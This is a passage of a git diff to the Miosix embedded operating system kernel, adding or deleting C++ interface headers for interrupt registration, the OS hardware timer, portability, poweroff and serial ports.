+/*************************************************************************** + * Copyright (C) 2023-2025 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "e20/unmember.h" +#include "miosix_settings.h" + +/** + * \addtogroup Interfaces + * \{ + */ + +/** + * \file interrupts.h + * This file provides a common interface to register interrupts in the Miosix + * kernel. Contrary to Miosix 2.x that used the architecture-specific interrupt + * registration mechanism, from Miosix 3.0 interrupts are registered at run-time + * by calling IRQregisterIrq(). + * Additionally, interrupts can be registered with an optional void* argument, + * or a non-static class member function can be registered as an interrupt. + * + * This interface is (currently) only concerned with registering the pointers + * to the interrupt handler functions, not to setting other properties of + * interrupts such as their priority, which if needed is still done with + * architecture-specific code. + * + * The interface in this header is meant to be used by all device drivers and + * code that deals with interrupt handlers. + * + * For people who need to implement this interface on a new CPU or architecture, + * there is one additional function to implement: + * \code + * namespace miosix { + * void IRQinitIrqTable() noexcept; + * } + * \endcode + * that is called during the boot phase to set un the interrupt table, whose + * implementation shall be to initialize all peripheral interrupt handlers to + * a default handler so that unexpected interrupts do not cause undefined + * behavior. + */ + +namespace miosix { + +/** + * \name Enabling and disabling interrupts + * \{ + */ + +/** + * \internal + * Disable interrupts only on the core it is called from. + * + * This is currently meant to be an implementation detail used to implement the + * global lock and we don't expect it to be useful for other uses, that's why + * we're currently not providing RAII-style lock classes, though this may change + * in the future if some use case for this function is found. + * + * \note If you're trying to use this function for driver development maybe + * you're looking for FastGlobalIrqLock::lock() instead? + */ +inline void fastDisableIrq() noexcept; + +/** + * \internal + * Enable back interrupts on the core it was called from, after they have been + * disabled by a call to fastDisableIrq(). + * + * This is currently meant to be an implementation detail used to implement the + * global lock and we don't expect it to be useful for other uses, that's why + * we're currently not providing RAII-style lock classes, though this may change + * in the future if some use case for this function is found. + * + * \note If you're trying to use this function for driver development maybe + * you're looking for FastGlobalIrqLock::unlock() instead? + */ +inline void fastEnableIrq() noexcept; + +/** + * \internal + * Provides a way to know if interrupts are enabled or not. + * + * \return true if interrupts are enabled + * \warning Using this function is discouraged + */ +inline bool areInterruptsEnabled() noexcept; + +/** + * \} + */ + +/** + * \name Dynamic Interrupt Handler Registration + * \{ + */ + +class GlobalIrqLock; // lock.h + +#ifdef WITH_SMP +/** + * Register an interrupt handler on a specific core. + * \param lock a GlobalIrqLock (GIL) lock that must be already taken here. + * \param coreId the identifier of the core that will handle the interrupt. + * After calling this function, the same interrupt will not be register-able + * on any other core, unless it is unregistered first. + * \param id platform-dependent id of the peripheral for which the handler has + * to be registered. + * \param handler pointer to the handler function of type void (*)(void*) + * \param arg optional void* argument. This argument is stored in the interrupt + * handling logic and passed as-is whenever the interrupt handler is called. + * If omitted, the handler function is called with nullptr as argument. + * + * \note This function calls errorHandler() causing a reboot if attempting to + * register an already registered interrupt. If your driver can tolerate failing + * to register an interrupt you should call IRQisIrqRegistered() to test whether + * an interrupt is already registered for that id before calling IRQregisterIrq() + */ +void IRQregisterIrqOnCore(GlobalIrqLock& lock, unsigned char coreId, unsigned int id, + void (*handler)(void*), void *arg=nullptr) noexcept; +#endif + +/** + * Register an interrupt handler. + * \param lock a GlobalIrqLock (GIL) lock that must be already taken here. + * \param id platform-dependent id of the peripheral for which the handler has + * to be registered. + * \param handler pointer to the handler function of type void (*)(void*) + * \param arg optional void* argument. This argument is stored in the interrupt + * handling logic and passed as-is whenever the interrupt handler is called. + * If omitted, the handler function is called with nullptr as argument. + * + * \note This function calls errorHandler() causing a reboot if attempting to + * register an already registered interrupt. If your driver can tolerate failing + * to register an interrupt you should call IRQisIrqRegistered() to test whether + * an interrupt is already registered for that id before calling IRQregisterIrq() + */ +#ifdef WITH_SMP +inline void IRQregisterIrq(GlobalIrqLock& lock, unsigned int id, + void (*handler)(void*), void *arg=nullptr) noexcept +{ + IRQregisterIrqOnCore(lock,0,id,handler,arg); +} +#else +void IRQregisterIrq(GlobalIrqLock& lock, unsigned int id, + void (*handler)(void*), void *arg=nullptr) noexcept; +#endif + +/** + * Register an interrupt handler. + * \param lock a GlobalIrqLock (GIL) lock that must be already taken here. + * \param id platform-dependent id of the peripheral for which the handler has + * to be registered. + * \param handler pointer to the handler function of type void (*)() + * + * \note This function calls errorHandler() causing a reboot if attempting to + * register an already registered interrupt. If your driver can tolerate failing + * to register an interrupt you should call IRQisIrqRegistered() to test whether + * an interrupt is already registered for that id before calling IRQregisterIrq() + */ +inline void IRQregisterIrq(GlobalIrqLock& lock, unsigned int id, void (*handler)()) noexcept +{ + IRQregisterIrq(lock,id,reinterpret_cast(handler)); +} + +/** + * Register a class member function as an interrupt handler. + * \param lock a GlobalIrqLock (GIL) lock that must be already taken here. + * \param id platform-dependent id of the peripheral for which the handler has + * to be registered. + * \param mfn member function pointer to the class method to be registered as + * interrupt handler. The method shall take no parameters. + * \param object class instance whose methods shall be called as interrupt + * handler. + * + * \note This function calls errorHandler() causing a reboot if attempting to + * register an already registered interrupt. If your driver can tolerate failing + * to register an interrupt you should call IRQisIrqRegistered() to test whether + * an interrupt is already registered for that id before calling IRQregisterIrq() + */ +template +inline void IRQregisterIrq(GlobalIrqLock& lock, unsigned int id, void (T::*mfn)(), T *object) noexcept +{ + auto result=unmember(mfn,object); + IRQregisterIrq(lock,id,std::get<0>(result),std::get<1>(result)); +} + +#ifdef WITH_SMP +/** + * Unregister an interrupt handler from a specific core. + * \param lock a GlobalIrqLock (GIL) lock that must be already taken here. + * \param coreId the identifier of the core that was registered for handling the + * interrupt. If the core is not the same one that was used for originally + * registering the IRQ, the function's behavior is undefined. + * \param id platform-dependent id of the peripheral for which the handler has + * to be unregistered. + * \param handler pointer to the currently registered handler function of type + * void (*)(void*) + * \param arg optional void* argument previously specified when registering + * the handler. + * + * \note This function calls errorHandler() causing a reboot if attempting to + * unregister a different interrupt than the currently registered one + */ +void IRQunregisterIrqOnCore(GlobalIrqLock& lock, unsigned char coreId, + unsigned int id, void (*handler)(void*), void *arg=nullptr) noexcept; +#endif + +/** + * Unregister an interrupt handler. + * \param lock a GlobalIrqLock (GIL) lock that must be already taken here. + * \param id platform-dependent id of the peripheral for which the handler has + * to be unregistered. + * \param handler pointer to the currently registered handler function of type + * void (*)(void*) + * \param arg optional void* argument previously specified when registering + * the handler. + * + * \note This function calls errorHandler() causing a reboot if attempting to + * unregister a different interrupt than the currently registered one + */ +#ifdef WITH_SMP +inline void IRQunregisterIrq(GlobalIrqLock& lock, unsigned int id, + void (*handler)(void*), void *arg=nullptr) noexcept +{ + IRQunregisterIrqOnCore(lock,0,id,handler,arg); +} +#else +void IRQunregisterIrq(GlobalIrqLock& lock, unsigned int id, + void (*handler)(void*), void *arg=nullptr) noexcept; +#endif + +/** + * Unregister an interrupt handler. + * \param lock a GlobalIrqLock (GIL) lock that must be already taken here. + * \param id platform-dependent id of the peripheral for which the handler has + * to be registered. + * \param handler pointer to the currently registered handler function of type + * void (*)() + * + * \note This function calls errorHandler() causing a reboot if attempting to + * unregister a different interrupt than the currently registered one + */ +inline void IRQunregisterIrq(GlobalIrqLock& lock, unsigned int id, void (*handler)()) noexcept +{ + IRQunregisterIrq(lock,id,reinterpret_cast(handler)); +} + +/** + * Unregister an interrupt handler. + * \param lock a GlobalIrqLock (GIL) lock that must be already taken here. + * \param id platform-dependent id of the peripheral for which the handler has + * to be registered. + * \param mfn member function pointer to the class method that has been + * previously registered as interrupt handler. + * \param object class instance previously specified to be used for invoking the + * member function. + * + * \note This function calls errorHandler() causing a reboot if attempting to + * unregister a different interrupt than the currently registered one + */ +template +inline void IRQunregisterIrq(GlobalIrqLock& lock, unsigned int id, void (T::*mfn)(), T *object) noexcept +{ + auto result=unmember(mfn,object); + IRQunregisterIrq(lock,id,std::get<0>(result),std::get<1>(result)); +} + +/** + * Check whether an interrupt handler is currently registered. + * \param id platform-dependent id of the peripheral for which to check whether + * an interrupt handler is registered. + * \return true if an interrupt hander is currently registered for that id. + */ +bool IRQisIrqRegistered(unsigned int id) noexcept; + +/** + * \} + */ + +} //namespace miosix + +/** + * \} + */ + +#include "interfaces-impl/interrupts_impl.h" diff --git a/miosix/interfaces/os_timer.h b/miosix/interfaces/os_timer.h deleted file mode 100644 index 5deb58cb4..000000000 --- a/miosix/interfaces/os_timer.h +++ /dev/null @@ -1,439 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015-2021 by Terraneo Federico, Sasan Golchin * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -#include "config/miosix_settings.h" -#include "kernel/timeconversion.h" -#include "kernel/scheduler/timer_interrupt.h" - -/** - * \addtogroup Interfaces - * \{ - */ - -/** - * \file os_timer.h - * This file contains the interface through which the OS accesses the underlying - * hardware timer, that is used to: - * - measure time durations - * - set interrupts used both preemption and to handle sleeping threads wakeup - * - * Please note that all functions in this interface should provide the kernel - * with time information in nanoseconds. In the platform-specific implementation - * it is highly recommended to use the TimeConversion class to convert the - * underlying hardware timer ticks to nanoseconds. - * - * NOTE: when porting Miosix, architectures providing - * - a timer counting up - * - a match register capable of generating interrupts - * - an overflow interrupt - * can simply derive the TimerAdapter providing the required functions to - * access the hardware timer, and the DEFAULT_OS_TIMER_INTERFACE_IMPLMENTATION - * macro to implement the os_timer interface. - */ - -namespace miosix { - -// The os timer platform-specific implementation shall provide these two -// functions, although they are not declared here, but in kernel.h, as -// these are the only two function that are meant to be called also from -// application code. For comments about the intended behavior, see kernel.h -//long long getTime() noexcept; -//long long IRQgetTime() noexcept; - -namespace internal { - -/** - * \internal - * Initialize and start the os timer. - * It is used by the kernel, and should not be used by end users. - */ -void IRQosTimerInit(); - -/** - * \internal - * Set the next interrupt. - * It is used by the kernel, and should not be used by end users. - * Can be called with interrupts disabled or within an interrupt. - * The hardware timer handles only one outstading interrupt request at a - * time, so a new call before the interrupt expires cancels the previous one. - * \param ns the absolute time when the interrupt will be fired, in nanoseconds. - * When the interrupt fires, it shall call the - * \code - * void IRQtimerInterrupt(long long currentTime); - * \endcode - * function defined in kernel/scheduler/timer_interrupt.h - */ -void IRQosTimerSetInterrupt(long long ns) noexcept; - -/** - * \internal - * Set the current system time. - * It is used by the kernel, and should not be used by end users. - * Used to adjust the time for example if the system clock was stopped due to - * entering deep sleep. - * Can be called with interrupts disabled or within an interrupt. - * \param ns value to set the hardware timer to. Note that the timer can - * only be set to a higher value, never to a lower one, as the OS timer - * needs to be monotonic. - * If an interrupt has been set with IRQsetNextInterrupt, it needs to be - * moved accordingly or fired immediately if the timer advance causes it - * to be in the past. - */ -void IRQosTimerSetTime(long long ns) noexcept; - -/** - * \internal - * It is used by the kernel, and should not be used by end users. - * \return the timer frequency in Hz. - * If a prescaler is used, it should be taken into account, the returned - * value should be equal to the frequency at which the timer increments in - * an observable way through IRQgetCurrentTime() - */ -unsigned int osTimerGetFrequency(); - -} //namespace internal - -/** - * Helper class providing a generic implementation capable of providing time - * in nanoseconds starting from a hardware timer. - * It works by first extending the timer counter to 64 bit in software through - * an algorithm called the "pending bit trick" and then using TimeConversion to - * turn the timer ticks to nanoseconds. - * - * This class is not meant to be instantiated directly, but rather used as a - * base class by means of the C++ curiously recurring template pattern. - * In the derived class you need to implement function to perform - * platform-specific functions on the hardware timer, as shown by this example - * code. - * \code - * class MyHwTimer : public TimerAdapter - * { - * public: - * static inline unsigned int IRQgetTimerCounter() {} - * static inline void IRQsetTimerCounter(unsigned int v) {} - * - * static inline unsigned int IRQgetTimerMatchReg() {} - * static inline void IRQsetTimerMatchReg(unsigned int v) {} - * - * static inline bool IRQgetOverflowFlag() {} - * static inline void IRQclearOverflowFlag() {} - * - * static inline bool IRQgetMatchFlag() {} - * static inline void IRQclearMatchFlag() {} - * - * static inline void IRQforcePendingIrq() {} - * - * static inline void IRQstopTimer() {} - * static inline void IRQstartTimer() {} - * - * static unsigned int IRQTimerFrequency() {} - * - * static void IRQinit() {} - * }; - * \endcode - * - * \tparam D the derived class (see curiously recurring template pattern) - * \tparam bits the bits of the underlying hardware timer, up to 32 bit. - * \tparam quirkAdvance some timers don't like being set very close to the - * actual interrupt time. If this is the case set this parameter to the minimum - * number of ticks in the future the timer must be set, otherwise keep at 0 - */ -template -class TimerAdapter -{ -public: - //Note that if you have a 64 bit timer you don't need this code at all - static_assert(bits<=32, "Support for larger timers not implemented"); - static constexpr unsigned long long upperIncr=(1LL<=counter) - return (upperTimeTick | static_cast(counter)) + upperIncr; - return upperTimeTick | static_cast(counter); - } - - /** - * \return the time when the next os interrupt is scheduled in ticks - */ - inline long long IRQgetIrqTick() - { - return upperIrqTick | D::IRQgetTimerMatchReg(); - } - - /** - * \return the current time in nanoseconds - */ - inline long long IRQgetTimeNs() - { - return tc.tick2ns(IRQgetTimeTick()); - } - - /** - * \return the time when the next os interrupt is scheduled in nanoseconds - */ - inline long long IRQgetIrqNs() - { - return tc.tick2ns(IRQgetIrqTick()); - } - - /** - * Set the current time - * \param ns absolute time in nanoseconds, can only be greater than the - * current time - */ - void IRQsetTimeNs(long long ns) - { - //Normally we never stop the timer not to accumulate clock skew, - //but here we're asked to introduce a clock jump anyway - D::IRQstopTimer(); - long long oldTick = IRQgetTimeTick(); - long long tick = tc.ns2tick(ns); - if(tick>oldTick) - { - upperTimeTick = tick & upperMask; - D::IRQsetTimerCounter(static_cast(tick & lowerMask)); - D::IRQclearOverflowFlag(); - //Adjust also when the next interrupt will be fired - long long nextIrqTick = IRQgetIrqTick(); - if(nextIrqTick>oldTick) - { - //Avoid using IRQsetIrqTick(nextIrqTick) as in some weird timers - //IRQgetTimeTick() does not work after setting the timer counter - //and before starting the timer (ATsam4l is an example) - auto tick2 = nextIrqTick + quirkAdvance; - upperIrqTick = tick2 & upperMask; - D::IRQsetTimerMatchReg(static_cast(tick2 & lowerMask)); - if(tick >= nextIrqTick) - { - D::IRQforcePendingIrq(); - lateIrq=true; - } - } - } - D::IRQstartTimer(); - } - - /** - * Schedule the next os interrupt - * \param ns absolute time in ticks, must be > 0 - */ - inline void IRQsetIrqTick(long long tick) - { - auto tick2 = tick + quirkAdvance; - upperIrqTick = tick2 & upperMask; - D::IRQsetTimerMatchReg(static_cast(tick2 & lowerMask)); - if(IRQgetTimeTick() >= tick) - { - D::IRQforcePendingIrq(); - lateIrq=true; - } - } - - /** - * Schedule the next os interrupt - * \param ns absolute time in nanoseconds, must be > 0 - */ - inline void IRQsetIrqNs(long long ns) - { - IRQsetIrqTick(tc.ns2tick(ns)); - } - - /** - * Must be called by the timer interrupt routine when writing the driver - * for a particular timer. It clears the pending flag and calls the os as - * needed. - */ - inline void IRQhandler() - { - if(D::IRQgetMatchFlag() || lateIrq) - { - D::IRQclearMatchFlag(); - long long tick=IRQgetTimeTick(); - if(tick >= IRQgetIrqTick() || lateIrq) - { - lateIrq=false; - #ifndef WITH_RTC_AS_OS_TIMER - IRQtimerInterrupt(tc.tick2ns(tick)); - #else //WITH_RTC_AS_OS_TIMER - //timeconversion error is less than 2 ticks, but with the low - //frequency of the RTC this error occasionally causes a too - //early wakeup, in this case retry the next tick - //When developing new os_timer drivers remove this code to - //make sure it does not happen systematically - bool tooEarly=IRQtimerInterrupt(tc.tick2ns(tick)); - if(tooEarly) IRQsetIrqTick(tick+1); - #endif //WITH_RTC_AS_OS_TIMER - } - } - if(D::IRQgetOverflowFlag()) - { - D::IRQclearOverflowFlag(); - upperTimeTick += upperIncr; - } - } - - /** - * Initializes and starts the timer. - */ - void IRQinit() - { - D::IRQinitTimer(); - tc=TimeConversion(D::IRQTimerFrequency()); - D::IRQstartTimer(); - } - - //From here, member functions only useful for specific type of drivers - - /** - * Some weird timers forget to set the overflow flag when in deep sleep, - * (stm32f1 is an example), so provide a way to increment the upper part - * manually. You shouldn't need to call this unless you're dealing with a - * bug in a timer. - */ - void IRQquirkIncrementUpperCounter() - { - upperTimeTick += upperIncr; - } - - /** - * \param counter hardware timer value - * \return the current time in ticks, starting from the lower part - */ - inline long long IRQgetTimeTickFromCounter(unsigned int counter) - { - if(D::IRQgetOverflowFlag() && D::IRQgetTimerCounter()>=counter) - return (upperTimeTick | static_cast(counter)) + upperIncr; - return upperTimeTick | static_cast(counter); - } -}; - -} //namespace miosix - -/** - * This macro is a shorthand for implementing the os timer interface in terms of - * the TimerAdapter class. Just declare this macro inside the miosix - * namespace passing it the TimerAdapter derived class instance. - * - * \code - * namespace miosix { - * class MyHwTimer : public TimerAdapter - * { - * [...] - * }; - * - * static MyHwTimer timer; - * DEFAULT_OS_TIMER_INTERFACE_IMPLMENTATION(timer); - * } - * - * void timerInterruptRoutine() - * { - * miosix::timer.IRQhandler(); - * } - * \endcode - */ -#define DEFAULT_OS_TIMER_INTERFACE_IMPLMENTATION(timer) \ -long long getTime() noexcept \ -{ \ - FastInterruptDisableLock dLock; \ - return timer.IRQgetTimeNs(); \ -} \ - \ -long long IRQgetTime() noexcept \ -{ \ - return timer.IRQgetTimeNs(); \ -} \ - \ -namespace internal { \ - \ -void IRQosTimerInit() \ -{ \ - timer.IRQinit(); \ -} \ - \ -void IRQosTimerSetInterrupt(long long ns) noexcept \ -{ \ - timer.IRQsetIrqNs(ns); \ -} \ - \ -void IRQosTimerSetTime(long long ns) noexcept \ -{ \ - timer.IRQsetTimeNs(ns); \ -} \ - \ -unsigned int osTimerGetFrequency() \ -{ \ - FastInterruptDisableLock dLock; \ - return timer.IRQTimerFrequency(); \ -} \ - \ -} //namespace internal - -/** - * \} - */ diff --git a/miosix/interfaces/portability.h b/miosix/interfaces/portability.h deleted file mode 100644 index 7045fd962..000000000 --- a/miosix/interfaces/portability.h +++ /dev/null @@ -1,294 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -//For SCHED_TYPE_* config options -#include "config/miosix_settings.h" -//For MPUConfiguration -#include "core/memory_protection.h" -#include - -/** - * \addtogroup Interfaces - * \{ - */ - -/** - * \file portability.h - * This file is the interface from the Miosix kernel to the hardware. - * It ccontains what is required to perform a context switch, disable - * interrupts, set up the stack frame and registers of a newly created thread, - * and contains iterrupt handlers for preemption and yield. - * - * Since some of the functions in this file must be inline for speed reasons, - * and context switch code must be macros, at the end of this file the file - * portability_impl.h is included. - * This file should contain the implementation of those inline functions. - */ - -#ifdef WITH_PROCESSES - -namespace miosix { - -class Process; //Forward decl - -} //namespace miosix - -#endif //WITH_PROCESSES - -/** - * \} - */ - -/** - * \namespace miosix_pivate - * contains architecture-specific functions. These functions are separated from - * the functions in kernel.h because:
- * - to port the kernel to another processor you only need to rewrite these - * functions. - * - these functions are only useful for writing hardare drivers, most user code - * does not need them. - */ -namespace miosix_private { - -/** - * \addtogroup Interfaces - * \{ - */ - - - -/** - * \internal - * Used after an unrecoverable error condition to restart the system, even from - * within an interrupt routine. - */ -void IRQsystemReboot(); - -/** - * \internal - * Cause a context switch. - * It is used by the kernel, and should not be used by end users. - */ -inline void doYield(); - -/** - * \internal - * Initializes a ctxsave array when a thread is created. - * It is used by the kernel, and should not be used by end users. - * \param ctxsave a pointer to a field ctxsave inside a Thread class that need - * to be filled - * \param pc starting program counter of newly created thread, used to - * initialize ctxsave - * \param sp starting stack pointer of newly created thread, used to initialize - * ctxsave - * \param argv starting data passed to newly created thread, used to initialize - * ctxsave - */ -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), unsigned int *sp, - void *argv); - -#ifdef WITH_PROCESSES - -/** - * This class allows to access the parameters that a process passed to - * the operating system as part of a system call - */ -class SyscallParameters -{ -public: - /** - * Constructor, initialize the class starting from the thread's userspace - * context - */ - SyscallParameters(unsigned int *context); - - /** - * \return the syscall id, used to identify individual system calls - */ - int getSyscallId() const; - - /** - * \param index 0=first syscall parameter, 1=second syscall parameter, ... - * The maximum number of syscall parameters is architecture dependent - * \return the syscall parameter. The returned result is meaningful - * only if the syscall (identified through its id) has the requested parameter - */ - unsigned int getParameter(unsigned int index) const; - - /** - * Set the value that will be returned by the syscall. - * Invalidates the corresponding parameter so must be called only after the - * syscall parameteres have been read. - * \param index 0=first syscall parameter, 1=second syscall parameter, ... - * The maximum number of syscall parameters is architecture dependent - * \param value value that will be returned by the syscall. - */ - void setParameter(unsigned int index, unsigned int value); - -private: - unsigned int *registers; -}; - -/** - * This class contains information about whether a fault occurred in a process. - * It is used to terminate processes that fault. - */ -class FaultData -{ -public: - /** - * Constructor, initializes the object - */ - FaultData() : id(0) {} - - /** - * Constructor, initializes a FaultData object - * \param id id of the fault - * \param pc program counter at the moment of the fault - * \param arg eventual additional argument, depending on the fault id - */ - FaultData(int id, unsigned int pc, unsigned int arg=0) - : id(id), pc(pc), arg(arg) {} - - /** - * \return true if a fault happened within a process - */ - bool faultHappened() const { return id!=0; } - - /** - * Print information about the occurred fault - */ - void print() const; - -private: - int id; ///< Id of the fault or zero if no faults - unsigned int pc; ///< Program counter value at the time of the fault - unsigned int arg;///< Eventual argument, valid only for some id values -}; - -/** - * \internal - * Initializes a ctxsave array when a thread is created. - * This version is to initialize the userspace context of processes. - * It is used by the kernel, and should not be used by end users. - * \param ctxsave a pointer to a field ctxsave inside a Thread class that need - * to be filled - * \param pc starting program counter of newly created thread - * \param sp starting stack pointer of newly created thread - * \param argc number of arguments passed to main - * \param argvSp pointer to argument array. Since the args block is stored - * above the stack and this is the pointer into the first byte of the args - * block, this pointer doubles as the initial stack pointer when the process - * is started. - * \param envp pointer to environment variables - * \param gotBase base address of the global offset table, for userspace - * processes - * \param heapEnd when creating the main thread in a process, pass the pointer - * to the end of the heap area. When creating additional threads in the process, - * this value is irrelevant. In Miosix sbrk is not a syscall for processes as - * the memory area allocated to a process is fixed at process creation - */ -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), int argc, - void *argvSp, void *envp, unsigned int *gotBase, unsigned int *heapEnd); - -/** - * \internal - * Cause a supervisor call that will switch the thread back to kernelspace - * It is used by the kernel, and should not be used by end users. - */ -inline void portableSwitchToUserspace(); - -#endif //WITH_PROCESSES - -/** - * \internal - * Called by miosix::start_kernel to handle the architecture-specific part of - * initialization. It is used by the kernel, and should not be used by end users. - * It is ensured that the miosix::kernel_started flag false during the execution - * of this function. Upon return, miosix::kernel_started is set to be true and - * IRQportableFinishKernelStartup is called immediately. - * A motivation for this flow could be that it allows running of general purpose - * driver classes that would be ran either before or after start of the kernel. - * Probably these drivers may need to disable interrupts using InterruptDisableLock - * in the case that they are initialized after kernel's startup, while using - * InterruptDisableLock is error-prone when the kernel_started flag is true and - * the kernel is not fully started yet. - */ -void IRQportableStartKernel(); - -/** - * \internal - * This function is called right after IRQportableStartKernel by - * miosix::start_kernel. The miosix::kernel_started is set to true at this - * stage. - * A typical behaviour that's expected is to : - * 1) Enable falut IRQ - * 2) Enable IRQs - * 3) miosix::Thread::yield(); - */ -void IRQportableFinishKernelStartup(); - -/** - * \internal - * This function disables interrupts. - * This is used by the kernel to implement disableInterrupts() and - * enableInterrupts(). You should never need to call these functions directly. - */ -inline void doDisableInterrupts(); - -/** - * \internal - * This function enables interrupts. - * This is used by the kernel to implement disableInterrupts() and - * enableInterrupts(). You should never need to call these functions directly. - */ -inline void doEnableInterrupts(); - -/** - * \internal - * This is used by the kernel to implement areInterruptsEnabled() - * You should never need to call this function directly. - * \return true if interrupts are enabled - */ -inline bool checkAreInterruptsEnabled(); - -/** - * \internal - * used by the idle thread to put cpu in low power mode - */ -void sleepCpu(); - -/** - * \} - */ - -} //namespace miosix_private - -// This contains the macros and the implementation of inline functions -#include "interfaces-impl/portability_impl.h" diff --git a/miosix/interfaces/poweroff.h b/miosix/interfaces/poweroff.h new file mode 100644 index 000000000..4364b9711 --- /dev/null +++ b/miosix/interfaces/poweroff.h @@ -0,0 +1,100 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +/** + * \addtogroup Interfaces + * \{ + */ + +/** + * \file poweroff.h + * This file must provide these functions: + * + * shutdown(), for system shutdown. This function is called in case main() + * returns, and is available to be called by user code. + * + * reboot(), a function that can be called to reboot the system under normal + * (non error) conditions. It should sync and unmount the filesystem, and + * perform a reboot. This function is available for user code. + * + * IRQsystemReboot(), a low-level function to reboot the system in case of an + * unrecoverablle error. You should probably not use it unless really needed + * as it does not cleanly unmount the filesystem and could thus lead to data + * loss. + */ + +namespace miosix { + +/** + * This function should flush the default console with + * \code + * ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + * \endcode + * close all files and unmount all filesystems by caling + * \code + * FilesystemManager::instance().umountAll() + * \endcode + * and finally shut down the system, usually by putting the procesor in a deep + * sleep state until some board specific condition occurs (which could even + * be a processor reset or powercycle). + * + * This function does not return. + * + * For architecture where it does not make sense to perform a shutdown, or for + * safety reasons it is not advisable to enter a state where execution stops, + * it is suggested to implement this function by performing a reboot instead. + */ +[[noreturn]] void shutdown(); + +/** + * This function should flush the default console with + * \code + * ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + * \endcode + * close all files and unmount all filesystems by caling + * \code + * FilesystemManager::instance().umountAll() + * \endcode + * and finally reboot the system. + */ +[[noreturn]] void reboot(); + +/** + * Used after an unrecoverable error condition to restart the system, even from + * within an interrupt routine. + * WARNING: this function does not close files nor unmount filesystems, so using + * it could lead to data corruption. + */ +[[noreturn]] void IRQsystemReboot(); + +} //namespace miosix + +/** + * \} + */ diff --git a/miosix/interfaces/serial.h b/miosix/interfaces/serial.h new file mode 100644 index 000000000..f109a2ca0 --- /dev/null +++ b/miosix/interfaces/serial.h @@ -0,0 +1,45 @@ +/*************************************************************************** + * Copyright (C) 2026 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +/** + * \addtogroup Interfaces + * \{ + */ + +/** + * \file serial.h + * The serial interface defines Device classes for the serial ports of the + * microcontroller. + */ + +#include "interfaces-impl/serial_impl.h" + +/** + * \} + */ diff --git a/miosix/interfaces_private/bsp_private.h b/miosix/interfaces_private/bsp_private.h new file mode 100644 index 000000000..af76b092d --- /dev/null +++ b/miosix/interfaces_private/bsp_private.h @@ -0,0 +1,74 @@ 